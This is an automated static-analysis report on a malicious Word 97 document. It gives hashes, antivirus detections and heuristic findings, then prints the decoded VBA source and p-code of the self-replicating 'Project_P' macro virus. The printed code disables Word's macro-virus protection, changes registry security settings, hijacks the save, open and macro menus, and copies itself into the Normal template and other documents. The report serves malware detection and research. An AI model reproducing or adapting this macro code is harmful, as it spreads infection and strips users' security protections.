Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fa55d81c24c98c63…

MALICIOUS

Office (OLE)

47.5 KB Created: 2000-09-17 16:46:00 Authoring application: Microsoft Word 8.0 First seen: 2017-02-27
MD5: 759e267c2a1fe2beedb70abce0003c52 SHA-1: cfe24c3a0ec964737b07c6dc3825aca00e5edd83 SHA-256: fa55d81c24c98c63e1e1a491dc22f9a55fd8625954cca3da8f23b90d02c9b351
264 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro virus markers and VBA macros, including AutoOpen and Document_Open, indicating an attempt to execute malicious code upon opening. The script attempts to disable macro security settings by writing to the registry key HKCU\Software\Microsoft\Office\9.0\Word\Security. ClamAV detections further confirm its malicious nature, identifying it as Win.Trojan.Psycho-3 and Doc.Trojan.Valeria-1.

Heuristics 7

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Call AutoOpen
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 32491 bytes
SHA-256: c29ea424b681d9a567ab3c42558a92ee4dcba0d46a1ed44b4f986658642422b3
Detection
ClamAV: Doc.Trojan.Valeria-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Project_P"
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
Options.VirusProtection = False
Options.ConfirmConversion = False
Options.SaveNormalPrompt = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Project_P") = "...by AndryOktavia"
Call AutoOpen
End If
Call AutoOpen
End Sub
Public AD As Object
Public NT As Object
Sub AutoOpen()
    On Error GoTo hapus
Dim NT As Object
Call Docurelfgh
CreativE
Call NothingElf
Application.EnableCancelKey = wdCancelDisabled
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents(i).Name = "Project_P" Then NormInstall = True
Next i
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents(i).Name = "Project_P" Then ActivInstall = True
Next i
If ActivInstall = True And NormInstall = True Then GoTo Label_Exit
If ActivInstall = True And NormInstall = False Then Set Doc = ActiveDocument
If ActivInstall = False And NormInstall = True Then Set Doc = NormalTemplate
Pad = Options.DefaultFilePath(wdDocumentsPath)
ModuleLength = Doc.VBProject.VBComponents("Project_P").CodeModule.CountOfLines
NT.Save
Doc.VBProject.VBComponents("Project_P").Export Pad + ("\Fax.txt")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
Project_P
Label_Exit:
CommandBars("Tools").Controls("Templates and Add-Ins...").Delete
'CommandBars("Format").Controls("Style...").Delete
If NormInstall = True Then Call CreativE
Application.ScreenUpdating = True
Application.DisplayAlerts = wdAlertsAll
Application.EnableCancelKey = wdCancelInterrupt
hapus:
Docurelfgh
End Sub
Sub CreativE()
On Error Resume Next
Options.DefaultFilePath(wdStartupPath) = "C:\Windows"
Options.DefaultFilePath(wdTempFilePath) = "C:\Windows\inf"
Pad1 = Options.DefaultFilePath(wdStartupPath)
MyFile = Dir(Pad1 + "\Fax.dot")
If MyFile = "" Then
Set aDoc = NormalTemplate.OpenAsDocument
With aDoc
    .SaveAs FileName:=Pad1 + "\Fax.dot"
    .Close SaveChanges:=wdDoNotSaveChanges
End With
End If
End Sub
Sub Project_P()
On Error Resume Next
'Docurelfgh
NothingElf
'Call Cute
Call CreativE
Options.ConfirmConversions = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
ActiveDocument.ReadOnlyRecommended = False
If Day(Now) = 26 Then Call vote
If Day(Now) = 7 Then Call vote
rewing:
End Sub
Sub FileSave()
    On Error Resume Next
    Dim Subyectif
    WordBasic.FileSave
    Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
    WordBasic.CurValues.FileSaveAs dlg
    Subyectif = WordBasic.FileSaveAs(dlg)
    If Subyectif Then
        dlg.Format = 1
        WordBasic.FileSaveAs dlg
    End If
    Call AutoOpen
    End Sub
Sub FileClose()
    On Error Resume Next
    Call AutoOpen
    Call NothingElf
    Call Docurelfgh
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    Project_P
    Call AutoOpen
ActiveDocument.Close
End Sub
Sub FileSaveAs()
    On Error Resume Next
    Dim Subyectif
    WordBasic.FileSave
    Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
    WordBasic.CurValues.FileSaveAs (dlg)
    If Subyectif Then
        dlg.Format = 1
        WordBasic.FileSaveAs dlg
    End If
    Call AutoOpen
    End Sub
    Sub FileExit()
    On Error Resume Next
    Call AutoOpen
    NothingElf
    'Docurelfgh
    Project_P
    Call AutoOpen
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    Application.Quit
End Sub
Sub AutoExit()
    On Error Resume Next
    Call AutoOpen
    Call NothingElf
    Call Docurelfgh
    Project_P
End Sub
Sub AutoExec()
On Error GoTo hapus
WordBasic.DisableInput 1
WordBasic.DisableAutoMacros 0
Call NothingElf
Application.EnableCancelKey = wdCancelDisabled
    Call AutoOpen
Project_P
WBF
AddIns.Unload False
WBF
hapus:
Docurelfgh
End Sub
Sub AutoClose()
    On Error Resume Next
    Call AutoOpen
    NothingElf
    'Docurelfgh
    Project_P
End Sub
Sub ToolsMacro()
    On Error Resume Next
    Project_P
    If System.OperatingSystem = "Windows" Then Call pesen
    If System.OperatingSystem = "Windows" Then Call pesen
    Call pesen
End Sub
Sub FileTemplates()
    On Error Resume Next
    Project_P
    If System.OperatingSystem = "Windows" Then Call pesen
    If System.OperatingSystem = "Windows" Then Call pesen
End Sub
Sub ViewVBCode()
    On Error Resume Next
    Project_P
    If System.OperatingSystem = "Windows" Then Call pesen
    If System.OperatingSystem = "Windows" Then Call pesen
End Sub
Sub FileOpen()
On Error Resume Next
Call AutoOpen
WBT
If Dialogs(80).Show <> 0 Then
'Call AutoOpen
Call Docurelfgh
Call NothingElf
Call Project_P
Call AutoOpen
WBF
Else
WBF
End If
End Sub
Sub pesen()
msg1 = "This Program Can't Be Removed"
msg2 = " For More Information please Contact Us"
Msg3 = " http:// www.valerianet.com or E-Mail: andryok@valerianet.com"
MsgBox (msg1 + Chr(10) + msg2 + Chr(10) + Msg3)
End Sub
Sub vote()
Nama1 = "Project_P Security System"
Nama2 = "Andry Security System"
msg1 = " Thank you for Using Our Product "
msg2 = " This Program Under Protected The International Treaty"
Msg3 = "(c) Andry 1999., Alright Reserved. "
msg4 = " Thanks "
If Day(Now) = 26 Then MsgBox msg1 + Nama1 + Chr(10) + msg2 + Chr(10) + Msg3 + Nama1, vbInformation, "ValeriaNet Security System"
If Day(Now) = 7 Then MsgBox msg1 + Nama2 + Chr(10) + msg2 + Chr(10) + Msg3 + Nama2, vbInformation, "ValeriaNet Security System"
End Sub
Function Docurelfgh()
    On Error GoTo Erw1
    NorOk = False
    WBT
    Set AD = ActiveDocument
    Set NT = NormalTemplate
    On Error GoTo Erh1a
    For i = 1 To NormalTemplate.VBProject.VBComponents.Count
      NMacr = NormalTemplate.VBProject.VBComponents(i).Name
      If NMacr = "Project_P" Then NorOk = True
      If (NMacr <> "Project_P") And (NMacr <> "ThisDocument") Then
      MsgBox ("NT.Microsoft Word "), vbInformation, "ValeriaNet Security System"
  Application.OrganizerDelete Source:=NormalTemplate.FullName, _
            Name:=NMacr, Object:=wdOrganizerObjectProjectItems

      End If
    Next i
Erh1a:
    If NorOk = False Then
      On Error GoTo Erh1
            Application.OrganizerCopy Source:=ActiveDocument.FullName, _
          Destination:=NormalTemplate.FullName, Name:= _
          "Project_P", Object:=wdOrganizerObjectProjectItems
      Templates(NormalTemplate.FullName).Save
      NormalTemplate.Application.Visible = False
Erh1:
    End If
Erw1:
End Function
Function NothingElf()
    On Error GoTo Erw2
    DokSave = 0
    DocOk = False
    Set AD = ActiveDocument
    Set NT = NormalTemplate
    On Error GoTo Erh2a
    For i = 1 To AD.VBProject.VBComponents.Count
      NMacr = AD.VBProject.VBComponents(i).Name
      If NMacr = "Project_P" Then DocOk = True
      'NMacr = NT.VBProject.VBComponents(i).Name
      'If NMacr = "Project_P" Then Docok = True
      If (NMacr <> "Project_P") And _
        (NMacr <> "ThisDocument") And (NMacr <> "Reference to Normal") Then
       MsgBox ("AD. Microsoft Word"), vbInformation, "ValeriaNet Security System"
        Application.OrganizerDelete Source:=AD.FullName, _
          Name:=NMacr, Object:=wdOrganizerObjectProjectItems
      End If
    Next i
Erh2a:
    If DocOk = False Then
      On Error GoTo Erh2
      Application.OrganizerCopy Source:=NT.FullName, _
          Destination:=AD.FullName, Name:= _
          "Project_P", Object:=wdOrganizerObjectProjectItems
      ActiveDocument.ReadOnlyRecommended = False
      ActiveDocument.Save
Erh2:
    End If
Erw2:
End Function
Function WBT()
WordBasic.DisableAutoMacros True
End Function
Function WBF()
WordBasic.DisableAutoMacros False
End Function
Function Cute()
f56879025 = GetAttr(NormalTemplate.FullName)
Application.VBE.ActiveVBProject.VBComponents("Project_P").Export "c:\windows\system\vxd.sys"
If f56879025 = vbReadOnly Then GoTo rewing
If f56879025 = vbReadOnly + vbArchive Then GoTo rewing
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "Project_P" Then xxx902578112 = True
Next i
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).Name = "Project_P" Then mmf78116 = True
Next i
If xxx902578112 = True And mmf78116 = False Then Set o7811902511 = NormalTemplate.VBProject.VBComponents
If xxx902578112 = False And mmf78116 = True Then Set o7811902511 = ActiveDocument.VBProject.VBComponents
o7811902511.Import "c:\windows\system\vxd.sys"
If activeinst = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If mmf78116 = False Then If NormalTemplate.Saved = False Then NormalTemplate.Save
rewing:
End Function
















' Processing file: /tmp/qstore_9bety8gy
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1120 bytes
' Macros/VBA/Project_P - 15243 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	LitStr 0x0000 ""
' 	LitStr 0x003D "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"
' 	LitStr 0x0005 "Level"
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	LitStr 0x0000 ""
' 	Ne 
' 	IfBlock 
' Line #3:
' 	LitVarSpecial (False)
' 	LitStr 0x000B "Security..."
' 	LitStr 0x0005 "Macro"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' Line #4:
' 	LitDI4 0x0001 0x0000 
' 	LitStr 0x0000 ""
' 	LitStr 0x003D "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"
' 	LitStr 0x0005 "Level"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #5:
' 	ElseBlock 
' Line #6:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #7:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversion 
' Line #8:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #9:
' 	LitStr 0x0012 "...by AndryOktavia"
' 	LitStr 0x0000 ""
' 	LitStr 0x002C "HKEY_CURRENT_USER\Software\Microsoft\Office\"
' 	LitStr 0x0009 "Project_P"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #10:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #11:
' 	EndIfBlock 
' Line #12:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #13:
' 	EndSub 
' Line #14:
' 	Dim (Public) 
' 	VarDefn AD (As Object)
' Line #15:
' 	Dim (Public) 
' 	VarDefn NT (As Object)
' Line #16:
' 	FuncDefn (Sub AutoOpen())
' Line #17:
' 	OnError hapus 
' Line #18:
' 	Dim 
' 	VarDefn NT (As Object)
' Line #19:
' 	ArgsCall (Call) Docurelfgh 0x0000 
' Line #20:
' 	ArgsCall CreativE 0x0000 
' Line #21:
' 	ArgsCall (Call) NothingElf 0x0000 
' Line #22:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #23:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #24:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #25:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #26:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #27:
' 	Ld i 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0009 "Project_P"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St NormInstall 
' 	EndIf 
' Line #28:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #29:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #30:
' 	Ld i 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0009 "Project_P"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St ActivInstall 
' 	EndIf 
' Line #31:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #32:
' 	Ld ActivInstall 
' 	LitVarSpecial (True)
' 	Eq 
' 	Ld NormInstall 
' 	LitVarSpecial (True)
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo Label_Exit 
' 	EndIf 
' Line #33:
' 	Ld ActivInstall 
' 	LitVarSpecial (True)
' 	Eq 
' 	Ld NormInstall 
' 	LitVarSpecial (False)
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	Ld ActiveDocument 
' 	Set Doc 
' 	EndIf 
' Line #34:
' 	Ld ActivInstall 
' 	LitVarSpecial (False)
' 	Eq 
' 	Ld NormInstall 
' 	LitVarSpecial (True)
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	Ld NormalTemplate 
' 	Set Doc 
' 	EndIf 
' Line #35:
' 	Ld wdDocumentsPath 
' 	Ld Options 
' 	ArgsMemLd DefaultFilePath 0x0001 
' 	St Pad 
' Line #36:
' 	LitStr 0x0009 "Project_P"
' 	Ld Doc 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St ModuleLength 
' Line #37:
' 	Ld NT 
' 	ArgsMemCall Save 0x0000 
' Line #38:
' 	Ld Pad 
' 	LitStr 0x0008 "\Fax.txt"
' 	Paren 
' 	Add 
' 	LitStr 0x0009 "Project_P"
' 	Ld Doc 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #39:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld wdFormatDocument 
' 	ParamNamed FileFormat 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0002 
' Line #40:
' 	ArgsCall Project_P 0x0000 
' Line #41:
' 	Label Label_Exit 
' Line #42:
' 	LitStr 0x0018 "Templates and Add-Ins..."
' 	LitStr 0x0005 "Tools"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	ArgsMemCall Delete 0x0000 
' Line #43:
' 	QuoteRem 0x0000 0x0031 "CommandBars("Format").Controls("Style...").Delete"
' Line #44:
' 	Ld NormInstall 
' 	LitVarSpecial (True)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	ArgsCall (Call) CreativE 0x0000 
' 	EndIf 
' Line #45:
' 	LitVarSpecial (True)
' 	Ld Application 
' 	MemSt ScreenUpdating 
' Line #46:
' 	Ld wdAlertsAll 
' 	Ld Application 
' 	MemSt DisplayAlerts 
' Line #47:
' 	Ld wdCancelInterrupt 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #48:
' 	Label hapus 
' Line #49:
' 	ArgsCall Docurelfgh 0x0000 
' Line #50:
' 	EndSub 
' Line #51:
' 	FuncDefn (Sub CreativE())
' Line #52:
' 	OnError (Resume Next) 
' Line #53:
' 	LitStr 0x000A "C:\Windows"
' 	Ld wdStartupPath 
' 	Ld Options 
' 	ArgsMemSt DefaultFilePath 0x0001 
' Line #54:
' 	LitStr 0x000E "C:\Windows\inf"
' 	Ld wdTempFilePath 
' 	Ld Options 
' 	ArgsMemSt DefaultFilePath 0x0001 
' Line #55:
' 	Ld wdStartupPath 
' 	Ld Options 
' 	ArgsMemLd DefaultFilePath 0x0001 
' 	St Pad1 
' Line #56:
' 	Ld Pad1 
' 	LitStr 0x0008 "\Fax.dot"
' 	Add 
' 	ArgsLd Dir 0x0001 
' 	St MyFile 
' Line #57:
' 	Ld MyFile 
' 	LitStr 0x0000 ""
' 	Eq 
' 	IfBlock 
' Line #58:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	MemLd OpenAsDocument 
' 	Set aDoc 
' Line #59:
' 	StartWithExpr 
' 	Ld aDoc 
' 	With 
' Line #60:
' 	Ld Pad1 
' 	LitStr 0x0008 "\Fax.dot"
' 	Add 
' 	ParamNamed FileName 
' 	ArgsMemCallWith SaveAs 0x0001 
' Line #61:
' 	Ld wdDoNotSaveChanges 
' 	ParamNamed SaveChanges 
' 	ArgsMemCallWith Close 0x0001 
' Line #62:
' 	EndWith 
' Line #63:
' 	EndIfBlock 
' Line #64:
' 	EndSub 
' Line #65:
' 	FuncDefn (Sub Project_P())
' Line #66:
' 	OnError (Resume Next) 
' Line #67:
' 	QuoteRem 0x0000 0x000A "Docurelfgh"
' Line #68:
' 	ArgsCall NothingElf 0x0000 
' Line #69:
' 	QuoteRem 0x0000 0x0009 "Call Cute"
' Line #70:
' 	ArgsCall (Call) CreativE 0x0000 
' Line #71:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #72:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #73:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #74:
' 	LitVarSpecial (False)
' 	Ld ActiveDocument 
' 	MemSt ReadOnlyRecommended 
' Line #75:
' 	Ld Now 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x001A 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	ArgsCall (Call) vote 0x0000 
' 	EndIf 
' Line #76:
' 	Ld Now 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x0007 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	ArgsCall (Call) vote 0x0000 
' 	EndIf 
' Line #77:
' 	Label rewing 
' Line #78:
' 	EndSub 
' Line #79:
' 	FuncDefn (Sub FileSave())
' Line #80:
' 	OnError (Resume Next) 
' Line #81:
' 	Dim 
' 	VarDefn Subyectif
' Line #82:
' 	Ld WordBasic 
' 	ArgsMemCall FileSave 0x0000 
' Line #83:
' 	Dim 
' 	VarDefn dlg (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set dlg 
' Line #84:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #85:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	St Subyectif 
' Line #86:
' 	Ld Subyectif 
' 	IfBlock 
' Line #87:
' 	LitDI2 0x0001 
' 	Ld dlg 
' 	MemSt Format$ 
' Line #88:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #89:
' 	EndIfBlock 
' Line #90:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #91:
' 	EndSub 
' Line #92:
' 	FuncDefn (Sub FileClose())
' Line #93:
' 	OnError (Resume Next) 
' Line #94:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #95:
' 	ArgsCall (Call) NothingElf 0x0000 
' Line #96:
' 	ArgsCall (Call) Docurelfgh 0x0000 
' Line #97:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	LitVarSpecial (False)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' 	EndIf 
' Line #98:
' 	ArgsCall Project_P 0x0000 
' Line #99:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #100:
' 	Ld ActiveDocument 
' 	ArgsMemCall Close 0x0000 
' Line #101:
' 	EndSub 
' Line #102:
' 	FuncDefn (Sub FileSaveAs())
' Line #103:
' 	OnError (Resume Next) 
' Line #104:
' 	Dim 
' 	VarDefn Subyectif
' Line #105:
' 	Ld WordBasic 
' 	ArgsMemCall FileSave 0x0000 
' Line #106:
' 	Dim 
' 	VarDefn dlg (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set dlg 
' Line #107:
' 	Ld dlg 
' 	Paren 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #108:
' 	Ld Subyectif 
' 	IfBlock 
' Line #109:
' 	LitDI2 0x0001 
' 	Ld dlg 
' 	MemSt Format$ 
' Line #110:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #111:
' 	EndIfBlock 
' Line #112:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #113:
' 	EndSub 
' Line #114:
' 	FuncDefn (Sub FileExit())
' Line #115:
' 	OnError (Resume Next) 
' Line #116:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #117:
' 	ArgsCall NothingElf 0x0000 
' Line #118:
' 	QuoteRem 0x0004 0x000A "Docurelfgh"
' Line #119:
' 	ArgsCall Project_P 0x0000 
' Line #120:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #121:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	LitVarSpecial (False)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' 	EndIf 
' Line #122:
' 	Ld Application 
' 	ArgsMemCall Quit 0x0000 
' Line #123:
' 	EndSub 
' Line #124:
' 	FuncDefn (Sub AutoExit())
' Line #125:
' 	OnError (Resume Next) 
' Line #126:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #127:
' 	ArgsCall (Call) NothingElf 0x0000 
' Line #128:
' 	ArgsCall (Call) Docurelfgh 0x0000 
' Line #129:
' 	ArgsCall Project_P 0x0000 
' Line #130:
' 	EndSub 
' Line #131:
' 	FuncDefn (Sub AutoExec())
' Line #132:
' 	OnError hapus 
' Line #133:
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemCall DisableInput 0x0001 
' Line #134:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #135:
' 	ArgsCall (Call) NothingElf 0x0000 
' Line #136:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #137:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #138:
' 	ArgsCall Project_P 0x0000 
' Line #139:
' 	ArgsCall WBF 0x0000 
' Line #140:
' 	LitVarSpecial (False)
' 	Ld AddIns 
' 	ArgsMemCall Unlock 0x0001 
' Line #141:
' 	ArgsCall WBF 0x0000 
' Line #142:
' 	Label hapus 
' Line #143:
' 	ArgsCall Docurelfgh 0x0000 
' Line #144:
' 	EndSub 
' Line #145:
' 	FuncDefn (Sub AutoClose())
' Line #146:
' 	OnError (Resume Next) 
' Line #147:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #148:
' 	ArgsCall NothingElf 0x0000 
' Line #149:
' 	QuoteRem 0x0004 0x000A "Docurelfgh"
' Line #150:
' 	ArgsCall Project_P 0x0000 
' Line #151:
' 	EndSub 
' Line #152:
' 	FuncDefn (Sub ToolsMacro())
' Line #153:
' 	OnError (Resume Next) 
' Line #154:
' 	ArgsCall Project_P 0x0000 
' Line #155:
' 	Ld System 
' 	MemLd OperatingSystem 
' 	LitStr 0x0007 "Windows"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	ArgsCall (Call) pesen 0x0000 
' 	EndIf 
' Line #156:
' 	Ld System 
' 	MemLd OperatingSystem 
' 	LitStr 0x0007 "Windows"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	ArgsCall (Call) pesen 0x0000 
' 	EndIf 
' Line #157:
' 	ArgsCall (Call) pesen 0x0000 
' Line #158:
' 	EndSub 
' Line #159:
' 	FuncDefn (Sub FileTemplates())
' Line #160:
' 	OnError (Resume Next) 
' Line #161:
' 	ArgsCall Project_P 0x0000 
' Line #162:
' 	Ld System 
' 	MemLd OperatingSystem 
' 	LitStr 0x0007 "Windows"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	ArgsCall (Call) pesen 0x0000 
' 	EndIf 
' Line #163:
' 	Ld System 
' 	MemLd OperatingSystem 
' 	LitStr 0x0007 "Windows"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	ArgsCall (Call) pesen 0x0000 
' 	EndIf 
' Line #164:
' 	EndSub 
' Line #165:
' 	FuncDefn (Sub ViewVBCode())
' Line #166:
' 	OnError (Resume Next) 
' Line #167:
' 	ArgsCall Project_P 0x0000 
' Line #168:
' 	Ld System 
' 	MemLd OperatingSystem 
' 	LitStr 0x0007 "Windows"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	ArgsCall (Call) pesen 0x0000 
' 	EndIf 
' Line #169:
' 	Ld System 
' 	MemLd OperatingSystem 
' 	LitStr 0x0007 "Windows"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	ArgsCall (Call) pesen 0x0000 
' 	EndIf 
' Line #170:
' 	EndSub 
' Line #171:
' 	FuncDefn (Sub FileOpen())
' Line #172:
' 	OnError (Resume Next) 
' Line #173:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #174:
' 	ArgsCall WBT 0x0000 
' Line #175:
' 	LitDI2 0x0050 
' 	ArgsLd Dialogs 0x0001 
' 	MemLd Show 
' 	LitDI2 0x0000 
' 	Ne 
' 	IfBlock 
' Line #176:
' 	QuoteRem 0x0000 0x000D "Call AutoOpen"
' Line #177:
' 	ArgsCall (Call) Docurelfgh 0x0000 
' Line #178:
' 	ArgsCall (Call) NothingElf 0x0000 
' Line #179:
' 	ArgsCall (Call) Project_P 0x0000 
' Line #180:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #181:
' 	ArgsCall WBF 0x0000 
' Line #182:
…

Open this report in the interactive analyzer, or submit your own file for analysis.